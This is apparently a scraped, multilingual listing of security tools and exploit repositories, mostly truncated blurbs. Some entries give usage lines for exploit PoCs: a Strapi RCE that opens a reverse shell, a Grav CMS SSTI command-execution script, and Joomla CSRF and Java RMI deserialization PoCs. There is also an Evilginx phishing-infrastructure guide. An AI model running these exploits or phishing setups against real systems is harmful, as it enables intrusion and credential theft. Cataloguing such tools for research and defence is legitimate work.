toxiproxy

Toxiproxy Toxiproxy es un framework para simular condiciones de red. Está hecho específicamente para funcionar en entornos de pruebas, CI y desarrollo, con manipulación determinista de las conexiones, pero también con soporte para caos aleatorio y personalización. Toxiproxy es la herramienta que...

CVE-2019-7642

CVE-2019-7642 Los routers D-Link con la función mydlink tienen algunas interfaces web sin requisitos de autenticación. Un atacante puede obtener de forma remota los registros de consultas DNS y los registros de inicio de sesión de los usuarios. Los objetivos vulnerables incluyen, entre otros, las...

CVE-2026-57582

creationtimestamp| type| source ---|---|--- 2026-09-02 03:00:06+00:00| confirmed| https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-57582.yaml...

CVE-2017-9934

CVE-2017-9934 Soy el reportero de este exploit, bajo el nombre: Envo Exploit PoC de CSRF para Joomla 1.7.3 - 3.7.2 Esta vulnerabilidad funciona debido a que las versiones de Joomla 1.7.3 a 3.7.2 no sanitizan la entrada base64. Headers: root@kitploit: POST...

k8s-CVE-2021-43557-poc

Instalación instalar minikube instalar apisix: root@kitploit: helm repo add apisix https://charts.apiseven.com helm repo add bitnami https://charts.bitnami.com/bitnami helm repo update kubectl create ns ingress-apisix helm install apisix apisix/apisix \ --set gateway.type=NodePort \ --set...

security-code-scan

C和VB.NET的漏洞模式检测器 - Website 下载 官方发布版本可通过 nuget包、Visual Studio扩展 和 独立运行器 获取。 构建 root@kitploit: git clone https://github.com/security-code-scan/security-code-scan.git cd security-code-scan 在Visual Studio中打开 SecurityCodeScan.sln 或通过命令行构建： root@kitploit: nuget restore SecurityCodeScan.sln msbuild...

LeakManager

LeakManager 安装 root@kitploit: sudo apt-get install mongodb-org screen pip3 install -r requeriments.txt 使用方法 root@kitploit: screen -S leakManager hug -f index.py -p 1337 或者 gunicorn index:hugwsgi -b 0.0.0.0:1337 或者 uwsgi --http 0.0.0.0:1337 --wsgi-file index.py --callable hugwsgi ctrl + a + d...

Kvasir

Kvasir ¡Bienvenido a Kvasir! En estos directorios se encuentran las herramientas base para una gestión eficaz de datos durante una Prueba de Penetración. Las pruebas de penetración pueden convertirse en una pesadilla de gestión de datos debido a las grandes cantidades de información que...

hetty

Hetty 是一个用于安全研究的 HTTP 工具包。它旨在成为商业软件（如 Burp Suite Pro）的开源替代品，提供针对信息安全与漏洞赏金社区需求量身定制的强大功能。 功能特性 中间人（MITM）HTTP 代理，支持日志记录与高级搜索 HTTP 客户端，用于手动创建/编辑请求，并重放代理请求 拦截请求与响应以进行人工审查（编辑、发送/接收、取消） 作用域支持，帮助保持工作有序 易于使用的基于 Web 的管理界面 基于项目的数据库存储，帮助保持工作有序 👷‍♂️ Hetty 正在积极开发中。请查看 待办事项清单了解当前状态。 📣 您是否以团队形式进行专业渗透测试？我非常想通过这份 5...

hetty

Hetty is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community. Features Machine-in-the-middle MITM HTTP proxy, with logs and advanced...

cloudflared

Cloudflare Tunnel 客户端 包含用于 Cloudflare Tunnel 的命令行客户端，这是一个隧道守护进程，将流量从 Cloudflare 网络代理到您的源站。 该守护进程位于 Cloudflare 网络和您的源站（例如，一个 Web 服务器）之间。Cloudflare 吸引客户端请求并通过此守护进程将它们发送给您， 无需在防火墙上打洞——您的源站可以保持尽可能地封闭。 Cloudflare 文档的 Cloudflare Tunnel 部分 中提供了广泛的文档。 所有与代理到您的源站相关的用法都可以在 cloudflared tunnel help 中找到。 您还可以...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 和 19606 针对 Strapi CMS 3.0.0-beta.17.7 及更早版本的盲注远程代码执行，获取反弹 shell 开始上手 执行程序 使用 python3 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 帮助 帮助提示 root@kitploit: python3 strapiexp.py -h 免责声明...

Evilginx-Phishing-Infra-Setup

Guía de Configuración de Infraestructura para Campañas de Phishing Nota: Estas son una copia de mis notas personales. Por favor, no te bases completamente en ellas. Tabla de Contenidos Blogs/Charlas Automatización de Infraestructura de Red Team/Phishing Técnicas de Compra y Categorización de...

rbndr

rbndr 简单的 DNS 重新绑定服务 rbndr 是一个非常简单的、非标准化的名称服务器，用于测试软件是否存在 DNS 重新绑定漏洞。该服务器通过从主机名中指定的地址中随机选取一个，并以极低的 TTL 值作为答案返回，来响应查询。 https://en.wikipedia.org/wiki/DNSrebinding DNS 重新绑定是一种 TOCTOU（检查时间与使用时间）漏洞。如果你有一个服务错误地使用“预检”检查来修改安全属性，那么你就可以使用它。例如，考虑一个（虚构的）浏览器插件，它有一个如下所示的 API： root@kitploit:...

rbndr

rbndr Simple DNS Rebinding Service rbndr is a very simple, non-conforming, name server for testing software against DNS rebinding vulnerabilities. The server responds to queries by randomly selecting one of the addresses specified in the hostname and returning it as the answer with a very low ttl...

Grav-CMS-RCE-Authenticated

Grav CMS 远程代码执行（已认证）- CVE-2024-28116 信息 此代码改编自Graver GitHub 仓库，并基于此视频 进行了一些改进。 针对 Grav CMS（版本低于 1.7.45）的利用程序，基于 SSTI + RCE 漏洞，编号 CVE-2024-28116。该脚本会创建一个包含漏洞的页面，执行它，最后在执行后删除该页面。 用法 root@kitploit: python3 GravCMSRCE.py -t http://10.10.10.10 -u 'admin' -p 'S3cureP4ssw0rd' -x 'ping -c 1 10.10.10.9'...

CVE-2022-48429_poc

CVE-2022-48429 - XSS Almacenado en YouTrack La descripción reportada del CVE en la base de datos NVD carece de precisión. Esta es una descripción más exacta: Youtrack versión = 2022.3.65373 tiene una vulnerabilidad de Cross-Site Scripting XSS almacenado en los paneles de control. Un usuario...

CVE-2017-3241-POC

CVE-2017-3241-POC POC for java RMI deserialization vulnerability You probably need to use JDK 8 to run this poc. Just pay attention to Message class in both client and server side. They are different. And the difference is the key to understand this vulnerability. The fix Oracle published is to...

tanstack-compromise-checker

tanstack-compromise-checker 检测开发者机器、仓库或CI运行器上TanStack npm供应链攻击的指标。提供Bash脚本、Docker镜像和GitHub Action三种入口，共享同一检测引擎。 CVE-2026-45321 /GHSA-g7cv-rxg3-hmpx 2026年5月11日，攻击者通过GitHub Actions缓存投毒，在42个@tanstack/包中发布了84个恶意版本。该载荷窃取GitHub令牌、npm令牌、AWS/GCP/Azure凭证，并安装了一个死亡开关 守护进程，一旦被窃取的令牌被撤销，就会立即清空/目录。 快速开始...

CVE_ADC_IOC_2026

CVEADCIOC2026 NetScaler CVE 前置条件检查器 作者: Derek 一个 Python 脚本，用于检查 NetScaler 配置文件（ns.conf），确定设备是否满足特定 CVE 的前置条件。该脚本解析运行配置或已保存的配置文件，并报告存在漏洞的配置及详细发现。 支持的 CVE CVE| 描述| 检查的前置条件 ---|---|--- CVE-2026-8451| SAML IdP 配置文件| add authentication samlIdPProfile . CVE-2026-8452| 认证/网关虚拟服务器| add authentication...